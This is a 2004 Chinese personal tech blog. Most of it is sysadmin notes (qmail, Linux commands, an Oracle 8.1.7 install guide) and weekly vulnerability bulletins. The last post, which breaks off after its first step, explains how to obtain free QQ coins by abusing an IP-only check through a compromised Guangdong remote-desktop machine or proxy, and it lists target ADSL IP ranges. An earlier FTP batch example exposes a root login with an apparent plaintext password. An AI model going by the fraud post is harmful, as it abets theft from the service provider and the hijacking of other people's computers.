    queue-fix可以在以下网址找到:http://www.netmeridian.com/e-huss/queue-fix.tar.gz

    10、如何临时收取一个域的邮件
    将此域增加至rcpthosts中, 但不要存放于locals下. 另外有第二的MX记录指向此域 。

    11、为何显示没有此用户
    出于安全的考虑,qmail拒绝传递给不是home目录ower的用户,比如我的帐号为fengming,home目录默认情况下设为/home/fengming,后来将home目录更改为/www,收发邮件就会有问题。

    Posted by vitter at 2004-09-26 21:05:10 | 评论 (0)

    September 23, 2004

    一些linux使用技巧

    防止Apache泄露WEB的秘密
    Apache还是很好的WEB,但如果设置不当,也会造成WEB秘密被访问者下载,比如图标或软件,只要取消目录访问的索引文件就可以防止。编辑httpd.conf文件,
    原文件为:

    #
    # This may also be "None", "All", or any combination of "Indexes",
    # "Includes", "FollowSymLinks", "ExecCGI", or "MultiViews".
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    Options Indexes FollowSymLinks MultiViews


    只要把“Indexes ”删除,用户就不可能访问到目录文件了!


    last 用户历史访问记录
    who 当前用户状态
    uptime 显示启动时间及CPU负载
    uname -a 显示系统内核及硬件平台信息
    free 显示内存信息
    hostname 显示主机名
    netstat -ant 显示TCP端口及连接
    arp -an 当前活动的arp
    cat /etc/resolv.conf 显示DNS信息
    ip rule list 显示高级策略路由列表
    ip route list table main 显示高级策略路由主路由表
    mount 系统磁盘挂表情况

    “du”命令是用来确定磁盘空间的。例如:为了确定“/var/log”和“/home”目录的大小,用下面的命令:
    [root@deep]# du -sh /var/log /home
    1.0M /var/log
    66M /home


    /etc/named.conf DNS主配置文件
    /var/named DNS实际数据文件


    在windows下自动备份unix数据库

    在windows机器上做ftp批命令文本:
    open 192.168.0.50 --指明要连接的unix服务器
    user root 发送用户名
    hbjmtsg 发送密码
    cd/u/liasll_GB/database 指明所要备份的目录路径
    bin 改为2进位模式
    lcd e:\liasll 指明windows本机备份目录
    mget 指明所要备份目录的所有文件
    bye 离开


    Linux网络上的表示:
    Destination 目标网络或主机的IP地址
    Gateway 到达目的地址的网关
    Genmask
    Flags 标志字段,描述这一路由的一些特性
    Metric
    Ref 表示为了建一次连接,该路由使用的次数
    Use 表示通过该路由传输的分组报方数
    Iface 路由使用的网络接口


    DNS资料记录类型
    domainhost配置文件中资源记录类型主要有如下几种:
    NS 标明域的名字服务器
    A 转换主机名到IP地址
    PTR 转换IP地址到主机名
    MX 标明发给些域的邮件应该送到的服务器
    CNAME 定义主机别名
    在定义这些资源记录时按DNS服配置要求在域名的最后一定要加“.”符号,否则就为不规范的记录,在进行相应的DNS解析服务时就会产生一定的错误影响。

    wall 发消息(挺好玩的,呵!)

    lspci -v 查看硬件芯片

    修改分辨率vi /etc/X11/FX86config,找到Monitor修改

    时钟分为系统时钏和硬件时钟,在启动时,硬件时钟会去读取系统时钟的设置,然后系统时钟就会独立于硬件运作.
    查看时钟:
    date

    设置系统时钟:
    date 091713272004.30
    格式:
    date 月日时分年.秒

    查看硬件时钟:
    hwclock或clock,命令差不多.
    设置硬件时钟:
    hwclock --set --date="04/11/2004 23:16:25"
    或clock --set --date="04/11/2004 23:16:25"

    硬件时钟与系统时钟同步:
    hwclock --hctosys或clock --hctosys
    系统时钟与硬件时钟同步:
    hwclock --systohc或clock --systohc

    arp 查看本地的MAC地址

    ifconfig eth0 210.75.32.28 netmask 255.255.255.128 broadcast 210.75.32.127
    给eth0接口加入IP地址及掩码
    ifconfig eth0 down 关闭接口
    ifconfig eth0 up 打开接口

    FTP命令:
    ls:列出远程机上改变工作目录
    cd:在远程机上改变工作目录
    lcd:在本地机改变工作目录
    close:终止当前的ftp对话
    get(mget):从远程服务器指定文件到本机
    put(mput):从本机上传到远程服务器
    bye:离开

    more /root/.bash_history 查看历史命令

    在一张网卡上绑定多个IP地址:
    ifconfig eth0:0 192.168.0.253 netmask 255.255.255.0
    ifconfig eth0:1 192.168.0.252 netmask 255.255.255.0

    把iso制作成虚拟光驱 dd if=/dev/cdrom of=jin.iso bs=2048

    env命令用来查看环境变量

    du -h 显示本目录的文件及各文件的大小
    du -sh 显示目录占硬盘总的大小

    Linux下如何查找文件?
    & 在当前目录下查找文件明为*.sql的文件: $find . -name "*.sql"
    & 查找大于100M的文件: find . -size +100000
    & 查找含有"china" 的文件: find . -name "*" -exec grep -l "china" {}\
    & 查找并删除tmp*的文件: find . -name "tmp* -exec rm {}\
    & 查找7天没有被修改过的文件: find . -mtime +7

    /boot/grub/grub.conf
    GRUB 配置

    /boot/module-info-*
    内核驱动信息
    Module information for the Linux kernel

    /boot/System.map-*
    系统例表
    Map of the Linux kernel

    /boot/vmlinuz-*
    内核
    Linux kernel

    /etc/aliases
    邮件别名
    Mail aliases

    /etc/at.deny
    被禁止的用户
    User IDs of users forbidden to use the at command

    /etc/auto.master
    自动mount
    Configuration file for the autofs daemon, which automatically mounts filesystems

    /etc/auto.misc
    Automounter map file

    /etc/crontab
    系统日志
    System cron file

    /etc/cron.daily/*
    安全日志
    Daily cron jobs

    /etc/cron.hourly/*
    时志
    Hourly cron jobs

    /etc/cron.monthly/*
    月志
    Monthly cron jobs

    /etc/cron.weekly/*
    周志
    Weekly cron jobs

    /etc/filesystems
    支持的文件系统格式
    Supported filesystem types

    /etc/fstab
    文件系统mount
    Filesystems mounted or available for mounting

    /etc/group
    系统组定义
    System group definitions

    /etc/host.conf
    Resolver configuration file

    /etc/hosts
    域名IP
    Map of IP numbers to hostnames
    /etc/hosts.allow
    允许的IP
    ALL : 1.1.1.1
    ALL : 2.2.2.* : deny
    sendmail : 3.3.3.3 : deny
    ipop3d : *
    sendmail : ALL : allow
    in.ftpd : *
    Hosts allowed to access Internet services

    /etc/hosts.deny
    禁止的IP
    ALL:*
    Hosts forbidden to access Internet services

    /etc/httpd/conf/*
    Apache配置文件
    Apache configuration files

    /etc/httpd/httpd.conf
    Web服务器配置文件
    Web server configuration file

    /etc/initlog.conf
    登陆配置文件
    Logging configuration file

    /etc/inittab
    Configuration for the init daemon, which controls executing processes

    /etc/issue
    Linux kernel and distribution version

    trustix系统:
    修改/etc/pam.d/su,注释掉下面一行,就可以su了
    auth required lib curity/pam_wheel.so group=root

    要ssh可以用root登录也是可以的阿,改/etc/ssh/sshd_config里面
    PermitRootLogin yes
    就好了

    去掉网关
    route delete default
    加上网关
    route add default gw xxx.xxx.xxx.xxx
    察看路由
    netstat -rn
    手工增加一条路由:
    route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1
    手工删除一条路由:
    route del -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1

    fat32的分区 mount -o codepage=936,iocharset=cp936 /dev/hda7 /mnt/cdrom
    ntfs的分区 mount -o iocharset=cp936 /dev/hda7 /mnt/cdrom
    iso文件 mount -o loop /abc.iso /mnt/cdrom
    软盘 mount /dev/fd0 /mnt/floppy
    USB闪存 mount /dev/sda1 /mnt/cdrom
    所有/etc/fstab内容 mount -a
    可以指定文件格式"-t 格式", 格式可以为vfat, ext2, ext3等.
    访问DVD mount -t iso9660 /dev/dvd /mnt/cdrom或mount -t udf /dev/dvd /mnt/cdrom
    注意:dvd的格式一般为iso9660或udf之一
    加载光驱命令 mount -t iso9660 /dev/cdrom /mnt/cdrom

    取消DHCP:
    #/etc/rc.d/init.d/xinetd stop

    取消显示器休眠:
    #setterm -blank n (n为等待时间)

    查看开机硬件网卡信息:
    #dmesg | more eth0

    禁止ping:
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    添加到/etc/rc.local里

    防止某个文件被修改:
    chattr +i /etc/fstab
    chattr -i /etc/fstab

    禁止本机443端口:
    iptables -A INPUT -p all --dport 443 -j DROP
    iptables -A OUTPUT -p all --sport 443 -j DROP

    查看详细端口连接命令:
    cat /proc/net/ip_conntrack

    查看端口上运行什么程序:
    lsof -i:22

    启动后开启NumLock
    for t in 1 2 3 4 5 6 7 8
    do
    setleds +num
    $t>/dev/null
    done

    tar 分卷压缩和合并
    以每卷500M为例
    tar分卷压缩:tar cvzpf - mytarfile.tar.gz | split -d -b 500m
    tar多卷合并:cat x* > mytarfile.tar.gz

    查找大小为500K到1000K之间的文件
    find -type f -size +500k -and -size -1000k

    通过ppp0上网,做NAT转换:
    iptables -t nat -A POSTROUTING -o ppp0 -s 192.168.20.0/24 -j MASQUERADE

    Posted by vitter at 2004-09-23 12:00:20 | 评论 (0)

    August 21, 2004

    MD4/MD5/HAVAL算法被国内机构攻破

    MD4/MD5/HAVAL算法被国内机构攻破
    国际密码协会发布最新消息:
    MD4/MD5/HAVAL算法被国内大学机构(应该是山东大学)彻底攻破!
    贴在Xfocus 论坛了:
    https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=39807
    普通计算机就可以迅速碰撞得到一个相同Hash值的串!!

    Posted by vitter at 2004-08-21 01:46:00 | 评论 (0)

    August 17, 2004

    IE有关XML的问题

    昨天突然发现自己的FeedDemon出问题了,浏览窗口不能出现东东,重装也不管用,但是可以显示远程的,由此我猜测可能是IE的问题,同时我发现以前可以用IE浏览我的msn的聊天记录(是xml文件),现在不行了,总报如下错误:

    日期 时间 发送者 接收者 消息 0 font-family:Simsun, Verdana; font-size:75%; text-align:left; vertical-align:top; table-layout:fixed width:2ex border-bottom:1 solid black 1 background-color:#e0edff 0 Debug Version
    --------------------------------------------------------------------------------
    SID
    ,

    但是我的Netscape没问题,因此我猜测应该是IE不能解析XML了,然后就从MS的网站down了个MSXML SDK装上了,问题解决:)
    我分析的结果是我前几天装Visual Studio后出的问题,这个MSXML应该是装了MSDN后就有的,之前也应该系统就有的,但是我装VS后没装MSDN估计就是给去掉或者是出问题了,然后IE就不能正确解析XML了。

    Posted by vitter at 2004-08-17 13:03:09 | 评论 (0)

    August 11, 2004

    Linux Security CheckList

    没多大用的东东,主要还是思想,这些checklist都差不多的。想看的话管我要密码来:)Linux Security CheckList

    Posted by vitter at 2004-08-11 12:51:06 | 评论 (0)

    Linux下安装Oracle817完美解决版

    目录
    1. 概述 1
    2. 安装过程 2
    2.1. 安装前环境准备 2
    2.1.1. linux安装 2
    2.1.2. X终端配置(root) 2
    2.1.3. 兼容包安装检查(root) 3
    2.1.4. 安装binutils-2.10.91.0.2-3(root) 3
    2.1.5. 安装Jdk1.1.8_v3(root) 4
    2.1.6. 安装glibc2.1 (root) 4
    2.1.7. 隐藏系统文件(root) 4
    2.1.8. 修改系统内核参数(root) 5
    2.2. 配置oracle用户环境变量 5
    2.2.1. 创建oracle用户(root) 5
    2.2.2. 创建链接(root) 5
    2.2.3. 修改oracle登录脚本(oracle) 5
    2.3. 安装oracle817 7
    2.3.1. 准备安装文件(oracle) 7
    2.3.2. 安装目录(root) 8
    2.3.3. 安装server(oracle) 8
    2.3.4. 安装client(oracle) 9
    2.4. 恢复系统 9
    2.4.1. 恢复系统文件(root) 9
    2.4.2. 恢复binutil包(root) 10
    2.5. 建库 10
    2.5.1. 检查配置文件(oracle) 10
    2.5.2. 执行建库脚本(oracle) 11
    2.5.3. 执行建表脚本(oracle)* 11
    2.5.4. 启动数据库和listener(oracle) 12
    2.5.5. 插入基础数据(oracle) 12
    2.5.6. 编辑自启动脚本 12

    1. 概述
    本文档适用于oracle817在redhat 7.2/9.0/ADS2.1for ia32平台版本linux平台的安装,请严格按照以下过程进行。
    正文格式部分为推荐安装过程。经过测试无误。
    斜体部分为相关文档建议,但未经证实,暂不推荐。
    7.2和9.0安装过程稍有不同,以下将详细说明。
    Ads2.1和9.0安装过程基本相同。
    RH8.0的安装过程应该也与7.2类似。

    注意事项:
    1. 安装DBD需要$ORACLE_HOME/rdbms/demo和$ORACLE_HOME/rdbms/public下的一些头文件,如果只安装client端,可能会报错,可以从安装了server的服务器复制上述文件*.h
    2. 如果安装oracle9(64位),需要修改DBD的Makefile,将oracle/lib替换为oracle/lib32,rdbms/lib替换为rdbms/lib32。同事修改.profile中的LD_LIBRARY_PATH
    3. 前期准备:
    linux81701.tar
    glibc-2.1.3-stubs.tar.gz
    i386-glibc-2.1-linux.tar.gz
    binutils-2.10.91.0.2-3.i386.rpm
    jdk118_v3-glibc-2.1.3.tar.bz2
    因为 Oracle 自带了 JRE 1.1.8,所以不用单独安装

    2. 安装过程
    2.1. 安装前环境准备
    2.1.1. linux安装
    安装选项:
    语言:en
    安装类型:自定义
    分区:自定义
    安装包:完全
    用户:oracle组dba HOME目录/home/oracle
    防火墙设置:允许ssh,www, 允许X终端,信任eth0
    也可以开放telnet/ftp
    安装后检查:
    能够通过ssh访问
    能够通过sftp访问
    2.1.2. X终端配置(root)
    以root登录,配置xdm
    cd /etc/X11/xdm
    修改Xaccess,在最后一行添加10.0.0.*(客户机子网地址)
    修改xdm-config,去掉最后一行前面的注释
    启动xdm

    配置后检查:
    能够从远程用Xmanager/Xwin等工具访问。

    异常情况:
    X终端无法访问:检查防火墙设置
    2.1.3. 兼容包安装检查(root)
    #rpm –qa com*
    对于RH7.2,确认安装以下的包(7个):
    compat-egcs-c++-6.2-1.1.2.16
    compat-libstdc++-6.2-2.9.0.16
    compat-egcs-objc-6.2-1.1.2.16
    compat-egcs-6.2-1.1.2.16
    compat-libs-6.2-3
    compat-glibc-6.2-2.1.3.2
    compat-egcs-g77-6.2-1.1.2.16
    对于RH9.0,确认安装一下的包(15)
    compat-db-3.3.11-4
    compat-libgcj-7.3-2.96.118
    compat-pwdb-0.62-3
    compat-libgcj-devel-7.3-2.96.118
    compat-gcc-g77-7.3-2.96.118
    compat-slang-1.4.5-5
    compat-libstdc++-7.3-2.96.118
    compat-libstdc++-devel-7.3-2.96.118
    compat-gcc-java-7.3-2.96.118
    comps-9-0.20030313
    compat-gcc-7.3-2.96.118
    compat-gcc-objc-7.3-2.96.118
    compat-gcc-c++-7.3-2.96.118
    如果是完全安装,则应该满足此步骤、

    如果非完全安装,
    安装文件:安装包/oracle/rh72(rh9)下
    上传到任意目录(建议/home/oracle/patch/rh72)
    可以通过以下命令安装
    rpm –ihv -–force compat*
    安装完毕后,cd ..退到上级目录,再检查是否安装成功。
    2.1.4. 安装binutils-2.10.91.0.2-3(root)
    说明:
    这是工具包,它和的ld相关。但版本是redhat7.1的。原因是oracle817只认redhat7.1版本。
    先#rpm –qa binutil*
    检查并记录当前版本号,以后恢复

    安装方法:
    安装文件:安装包/oracle/ binutils-2.10.91.0.2-3.i386.rpm
    上传到/home/oracle/patch
    # rpm -Uvh --force --nodeps binutils-2.10.91.0.2-3.i386.rpm


    2.1.5. 安装Jdk1.1.8_v3(root)
    安装文件:安装包/oracle/ bunzip2 jdk118_v3-glibc-2.1.3.tar.bz2
    上传到/home/oracle/patch目录
    bunzip2 jdk118_v3-glibc-2.1.3.tar.bz2
    cp jdk118_v3-glibc-2.1.3.tar /usr/local
    cd /usr/local
    tar -xvf jdk118_v3-glibc-2.1.3.tar
    ln -s jdk118_v3 java
    2.1.6. 安装glibc2.1 (root)
    把i386.glibc-2.1-linux.tar.gz拷贝到根目录
    使用root用户
    tar zxvf i386.glibc-2.1-linux.tar.gz
    2.1.7. 隐藏系统文件(root)
    说明:
    此步操作仅对RH9.0为必须。
    RH7.2安装不用。
    区别:
    检查 /usr/i386-glibc21-linux/bin/i386-glibc21-linux-env.sh文件是否存在
    RH9没有/usr/i386-glibc21-linux目录

    #cd /usr/bin
    #mkdir saved
    #mv gcc cc ld saved
    #ln -s /usr/i386-glibc-2.1-linux/bin/i386-glibc21-linux-gcc gcc
    #ln -s gcc cc
    #ln -s /usr/i386-glibc-2.1-linux/bin/i386-glibc21-linux-ld ld

    #cd /usr/lib
    #mkdir saved
    #mv libc.so libdl.so libm.so libpthread.so saved
    #mv libc.a libdl.a libm.a libpthread.a saved
    2.1.8. 修改系统内核参数(root)
    说明:如果仅安装oracle客户端,此步骤可免。
    #cd /proc/sys/kernel
    # echo 268435456 > /proc/sys/kernel/shmmax
    # echo -e "250 32000 100 128" > /proc/sys/kernel/sem
    2.2. 配置oracle用户环境变量
    2.2.1. 创建oracle用户(root)
    如果安装linux时选择了创建oracle用户,则此步骤可免

    groupadd dba
    useradd –g oracle –d /home/oracle –m oracle -G dba
    passwd oracle
    并输入oracle用户的密码
    2.2.2. 创建链接(root)
    ln -s /usr/bin /usr/ucb
    ln -s /bin/sh /usr/bin/sh
    ln -s /bin/mkdir /usr/bin/mkdir

    2.2.3. 修改oracle登录脚本(oracle)
    修改/home/oracle/.bash_profile
    可以参考安装目录下的相应文件
    对于RH7.2
    添加:
    export LD_ASSUME_KERNEL=2.2.5
    source /usr/i386-glibc21-linux/bin/i386-glibc21-linux-env.sh
    export ORACLE_BASE=$HOME
    export ORACLE_HOME=$HOME
    export ORACLE_SID=dbnms
    export PATH=$PATH:$HOME/bin:.

    修改完毕重新登录,
    $gcc –v
    执行gcc –v,观察其输出,应是:
    Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
    gcc version 2.96 20000731(Red Hat Linux7.3.2.96.110)

    对于RH9.0
    # .bash_profile

    # Get the aliases and functions
    if [ -f ~/.bashrc ]; then
    . ~/.bashrc
    fi

    # User specific environment and startup programs

    PATH=$PATH:$HOME/bin

    export PATH
    unset USERNAME
    # +------------------------------------------------------------+
    # | FILE : .bash_profile |
    # +------------------------------------------------------------+

    umask 022
    EDITOR=vi; export EDITOR
    TERM=xterm; export TERM
    TMPDIR=/tmp; export TMPDIR

    # +--------------------------+
    # | SETUP ORACLE ENVIRONMENT |
    # +--------------------------+

    export ORACLE_SID=dbnms
    export ORACLE_BASE=/oracle
    export ORACLE_HOME=$ORACLE_BASE

    export LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib:/usr/local/lib
    export TNS_ADMIN=$ORACLE_HOME/network/admin

    export NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P1
    export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data

    export ORACLE_OWNER=oracle
    export ORACLE_TERM=xterm

    #export LDEMULATION=elf_i386_glibc21
    export GCC_EXEC_PREFIX=/usr/i386-glibc21-linux/lib/gcc-lib/
    # +--------------------------+
    # | LINUX STUFF |
    # +--------------------------+

    export LD_ASSUME_KERNEL=2.4
    #source /usr/i386-glibc2.1-linux/bin/i386-glibc21-linux-env.sh

    # +--------------------------+
    # | SETUP SEARCH PATH |
    # +--------------------------+

    PATH=$PATH:$ORACLE_HOME/bin:/opt/bin:/bin:/usr/bin:/usr/local/bin:/usr/sbin:/usr/X11R6/bin:/usr/local/java/bin:.
    export PATH
    # +--------------------------+
    # | SETUP JAVA ENVIRONMENT |
    # +--------------------------+

    export JAVA_HOME=/usr/local/java

    export CLASSPATH=$ORACLE_HOME /jdbc/lib/classes12.zip: $ORACLE_HOME/JRE: $ORACLE_HOME /jlib: $ORACLE_HOME /rdbms/jlib: $ORACLE_HOME /network/jlib:.

    # +-------------+
    # | "GREETINGS" |
    # +-------------+
    echo ".bash_profile executed"

    2.3. 安装oracle817
    2.3.1. 准备安装文件(oracle)
    安装文件: linux81701.tar.gz
    上传到/home/oracle目录,并解压缩,生成目录disk1
    2.3.2. 安装目录(root)
    以root身份创建oracle安装目录,建议不要更改,否则需要修改相应脚本。
    #cd /
    #mkdir oracle
    #mkdir oradata1
    #mkdir oradata2
    #chown oracle:dba ora*
    2.3.3. 安装server(oracle)
    可以选择从本机图形界面直接安装
    也可以选择远程通过X终端进行安装

    $cd /home/oracle/Disk1
    ./runInstaller启动图形安装界面
    安装选项:
    oracle安装目录/oracle
    安装语言:增加简体中文
    安装server时选择custom,不要建库

    解决中间出错:
    在安装到最后Linking Oracle8i Enterprise Edition 8.1.7.0.1 , 97%时,会有一错误提示,
    Error in invoking target install of makefile /u01/app/oracle/product/8.1.7/ctx/lib/ins_ctx.mk

    则需要在另一终端窗口下运行glibc修补文件glibc-2_1_3-stubs_tar.gz, 在另一终端下登录作为oracle,然后

    cd /u01/app/oracle/product/8.1.7
    tar xvfz /usr/src/glibc-2_1_3-stubs_tar.gz
    ./setup_stubs.sh
    等待结束后。
    还没有完,然后再做下面的
    cd /u01/app/oracle/product/8.1.7/ctx/lib
    vi env_ctx.mk
    更改1374行 (vi 文件,然后打入1374 G 直接跳到该行 )
    CTXHX_LINKLINE=$(LINK) $(CTXLIB)ctxhx.$(OBJ_EXT) $(INSO_LINK) $(USRLIBS)
    在最后加上 -ldl 变成
    CTXHX_LINKLINE=$(LINK) $(CTXLIB)ctxhx.$(OBJ_EXT) $(INSO_LINK) $(USRLIBS) -ldl
    再回到安装界面击retry.

    安装过程中需要运行root.sh
    先不要急着运行root.sh,因为文件的第102行和156行有错误,
    把 RMF=/bin/rm -f 改为 RMF="/bin/rm -f"
    RUID=`/usr/bin/id|$AWK -F\( '{print $2}'|$AWK -F\) '{print $1}`改为
    RUID=`/usr/bin/id|$AWK -F\( '{print $2}'|$AWK -F\) '{print $1}'`
    保存后运行
    ./root.sh


    配置完net8和lisener后结束

    异常情况:
    runInstaller图形界面无法正常启动:
    检查x是否正常
    检查java环境变量
    前述工作是否没有完成?

    2.3.4. 安装client(oracle)
    可以选择从本机图形界面直接安装
    也可以选择远程通过X终端进行安装

    $cd /home/oracle/Disk1
    ./runInstaller启动图形安装界面
    安装选项:
    oracle安装目录/oracle
    选择安装client,典型安装。

    2.4. 恢复系统
    2.4.1. 恢复系统文件(root)
    此步骤仅对RH9.0有效
    cd /usr/bin
    rm -f gcc cc ld
    mv ./saved/* .
    rmdir saved
    cd /usr/lib
    mv ./saved/* .
    rmdir daved
    2.4.2. 恢复binutil包(root)
    对于RH7.2
    安装文件:安装包/oracle/RH72/ binutils-2.11.90.0.8-9.i386.rpm
    上传到/home/oracle/patch/rh72
    #cd /home/oracle/patch/rh72
    # rpm -e --nodeps binutils-2.10.91.0.2-3
    #rpm –ihv –-force –-nodeps binutils-2.11.90.0.8-9.i386.rpm
    恢复后检查gcc –v和ld –v

    对于RH9
    安装文件:安装包/oracle/RH9/binutils-2.13.90.0.18-9.i386.rpm
    上传到/home/oracle/patch/rh72
    #cd /home/oracle/patch/rh72
    # rpm -e --nodeps binutils-2.10.91.0.2-3
    #rpm –ihv –-force -–nodeps binutils-2.13.90.0.18-9.i386.rpm
    恢复后检查gcc –v和ld -v

    对于Rhads21
    安装文件:安装包/oracle/Rhas21/binutils-2.11.90.0.8-12.i386.rpm
    上传到/home/oracle/patch/rhas21
    #cd /home/oracle/patch/rh72
    # rpm -e --nodeps binutils-2.10.91.0.2-3
    #rpm –ihv –-force –-nodeps binutils-2.11.90.0.8-12.i386.rpm
    恢复后检查gcc –v和ld -v
    2.5. 建库
    2.5.1. 检查配置文件(oracle)
    安装文件:安装包/数据库建库脚本/database/*.ora
    根据实际安装的服务器内存配置,可以对initdbnms.ora文件参数进行适当修改。
    以1G内存为例
    l57:db_block_buffers = 20000
    l59:shared_pool_size = 200M
    以2G内存为例
    l57:db_block_buffers = 50000
    l59:shared_pool_size = 400M

    根据实际的服务器名称,修改listener.ora
    L11,L19:将dbsvr修改为实际的数据库服务器主机名或ip地址

    根据实际的服务器名称,修改tnsnames.ora
    L7:将dbsvr修改为实际的数据库服务器主机名或ip地址
    2.5.2. 执行建库脚本(oracle)
    安装文件:安装包/数据库建库脚本/database
    上传到/home/oracle/crdb
    oracle登录
    $cd /home/oracle/crdb/database
    $chmod +x *sh
    确认sqlplus、svrmgrl命令可以运行
    请确认/oradata1 /oradata2目录已存在且属主为oracle

    $./dbcrt.sh 创建目录,复制配置文件
    如果有个别步骤失败,请手工逐一运行。
    $./dbcrt1.sh 调用svrmgrl创建数据库文件
    $./dbcrt2.sh 调用svrmgrl创建数据库表空间
    $./dbcrt3.sh

    安装后检查:
    可以通过sqlplus system/manager访问数据库。
    Select * from tab;
    26rows

    异常情况:
    1. dbcrt.sh中cp oratab /etc失败:可能是权限问题,oracle应在root组(root.sh)。
    2.5.3. 执行建表脚本(oracle)*
    更新建表脚本
    打开最新的PDM文件,选择generate database
    选项:
    drop table/view/index/pk/fk
    选择所有表、视图、sequence、type导出
    注意:
    对于PD8.5,需要在sequence/type/view前加上前缀
    对于PD9,需要去掉sequence/type名字上的括号
    注意检查拓扑表的T_Device表的nodecode字段是否有错

    安装文件:安装包/数据库建库脚本/nms
    上传到/home/oracle/crdb
    oracle登录
    $cd /home/oracle/crdb/nms
    $chmod +x *sh
    $./cre_nms.sh


    安装后检查:
    通过sqlplus slview/slview可以登录数据库
    通过PLSQL Developer或DBAStudio检查slview和sldata用户的存储过程是否创建正常。
    如果不正常,可以通过重新执行相应的sql语句来重建。
    如果仍然失败,检查相应的sequence/type/view是否正常创建。
    检查/oracle/admin/dbnms/create/cre*.log检查安装是否正常结束
    如果有异常,建议手工运行各sql语句

    如果系统安装完毕无法增加设备,多半是此处脚本运行有问题。
    2.5.4. 启动数据库和listener(oracle)
    检查/oracle/network/admin下的l*ora和t*.ora的配置,修改ip地址
    $lsnrctl
    >start
    启动监听进程

    2.5.5. 插入基础数据(oracle)
    建议通过远程sqlplus/PB连接数据库执行
    直接在linux环境执行有乱码问题(可能是环境变量的问题)
    @basedata.sql
    2.5.6. 编辑自启动脚本
    root# vi /etc/oratab
    将最后的N改为Y
    简单的服务启动脚本:
    root#vi /etc/rc.local
    添加以下内容:
    su - oracle -c ‘lsnrctl start’
    su - oracle -c ‘dbstart’


    附录:解决oracle的字符集问题

    SQL> SHUTDOWN IMMEDIATE; -- or NORMAL

    SQL> STARTUP MOUNT;
    SQL> ALTER SYSTEM ENABLE RESTRICTED SESSION;
    SQL> ALTER SYSTEM SET JOB_QUEUE_PROCESSES=0;
    SQL> ALTER DATABASE OPEN;
    SQL> ALTER DATABASE CHARACTER SET ;
    SQL> SHUTDOWN IMMEDIATE; -- or NORMAL
    SQL> STARTUP;

    Posted by vitter at 2004-08-11 12:01:55 | 评论 (0)

    July 13, 2004

    上周安全评点及本周预测(04/07/12)

    本周蠕虫活动较为频繁,"高波"(Worm_AgoBot)病毒及其变种这周还是第一位,再次提醒计算机用户做好防病毒的措施。
    沉静很久的"爱之门"病毒 (Worm_Lovgate.C)及其变种这周迅速爆发,在这周时间里有很多的计算机用户受到该病毒的感染,估计该病毒及其变种在其后的时间里还会继续对计算机用户造成一定的危害性,因此提醒广大计算机用户注意该病毒及其变种的动态,及时升级杀毒软件,做好防毒的措施,以免受到侵害!
    "网络天空"病毒Worm_Netsky.D排名第三位,该病毒还是发作频率比较高的,还请计算机用户关注该病毒的发展势态,做好必要的防毒措施!
    *nix漏洞方面:
    MySQL被发现多个验证漏洞,利用这些漏洞可以让攻击者获取系统访问权限,执行任意代码,但利用该漏洞攻击者需要取得Mysql服务的访问权限,这个限制条件极大的减低了该漏洞危害。对该漏洞的详细分析与漏洞修补请见:http://www.cert.org.cn/articles/hole/common/2004070721804.shtml

    Posted by vitter at 2004-07-13 13:13:10 | 评论 (0)

    July 06, 2004

    上周安全评点及本周预测(04/07/05)

    近期,网络上出现利用Download.Ject木马的迹象增多,该木马试图通过利用IE中的漏洞下载和安装一个文件。该木马是通过访问含有恶意代码的网站而触发的。建议用户尽快升级修补此漏洞,关于该漏洞的详细分析与修补方法请见:http://www.cert.org.cn/articles/hole/common/2004061421755.shtml
    Linux方面本周出现多个拒绝服务攻击漏洞:
    1. Linux内核Netfilter TCP选项匹配拒绝服务攻击漏洞, 利用该漏洞攻击者可以远程攻击使用2.6内核的服务器使服务器被拒绝服务。关于该漏洞的详细技术描述请见:
    http://www.cert.org.cn/articles/hole/common/2004070221797.shtml
    2. Linux内核Sbus PROM驱动多个整数溢出漏洞,本地的几个拒绝服务攻击漏洞,会使本地服务器被拒绝服务。关于该漏洞的详细技术描述请见:
    http://www.securityfocus.com/archive/1/367575
    FreeBSD方面:
    1. FreeBSD内核在实现对linux可执行文件支持时,存在一个漏洞可能使攻击者本地提升权限或者对本的系统进行拒绝服务攻击。

    Posted by vitter at 2004-07-06 09:14:29 | 评论 (0)

    July 02, 2004

    上周安全评点及本周预测(04/06/28)

    蠕虫方面风平浪静,没有出现危害比较严重的蠕虫或者病毒,预计下周没有较大规模的蠕虫安全事件。
    *nix方面,近期Linux内核被发现多个本地的拒绝服务,其中包括do_fork(),clone()中的内存泄露,clean_fpu()没有对fpu进行很好的处理,内核中的IEEE1394中的整数溢出等安全漏洞而导致的内核拒绝服务攻击,利用这种漏洞攻击者可以使系统内存耗尽或者cpu处理异常而导致整个系统失效,建议向客户提供远程访问权限的用户对Linux内核进行及时升级。
    FreeBSD同样被发现存在本地拒绝服务攻击漏洞,该漏洞存在于execve()中,关于该漏洞的详细信息请见:
    http://www.securityfocus.net/bid/10596/info/。

    另一个重要安全事件为:ISC DHCP 3中被发现多个安全漏洞可能导致拒绝服务攻击或者远程任意代码执行。关于该漏洞的详细与补丁方法请见:http://www.us-cert.gov/cas/techalerts/TA04-174A.html

    Posted by vitter at 2004-07-02 17:41:43 | 评论 (0)

    June 30, 2004

    最新免费充qq币

    广东互连星空VNET开通了qq宽带服务:目前只要是中国电信的ADSL用户、互联星空注册用户,就可以充值个人帐户、申请Q币、注册QQ会员、QQ秀、QQ交友等服务,足不出户,就可以轻松享有QQ各项服务,赶快出手吧。而在互连星空的qq币充值可以只在验证ip地址的情况下,不用帐户验证什么的就可以给qq币充值(1个ip最多充值200个,外加赠送10个),我们可以利用这点,来骗qq币,虽然是免费的,但是对nnd腾讯却不是免费的,我们只是让别人给我们付费而已,所以大家适可而止,不要太过分,否则人家如果追查的话,你可就惨了。

    1:找一只广东省内的3389肉鸡,要ADSL的!或者通过广东的adsl代理也行,不过代理还能充值的不多啊:(
    关于如何找,大家可以看我给大家找了几个广东省的IP段:
    218.13.38.0 - 218.13.39.255 广东省 中山市ADSL
    61.144.0.0 - 61.144.38.255 广东省 广州市ADSL
    61.144.42.0 - 61.144.105.255 广东省 广州市ADSL
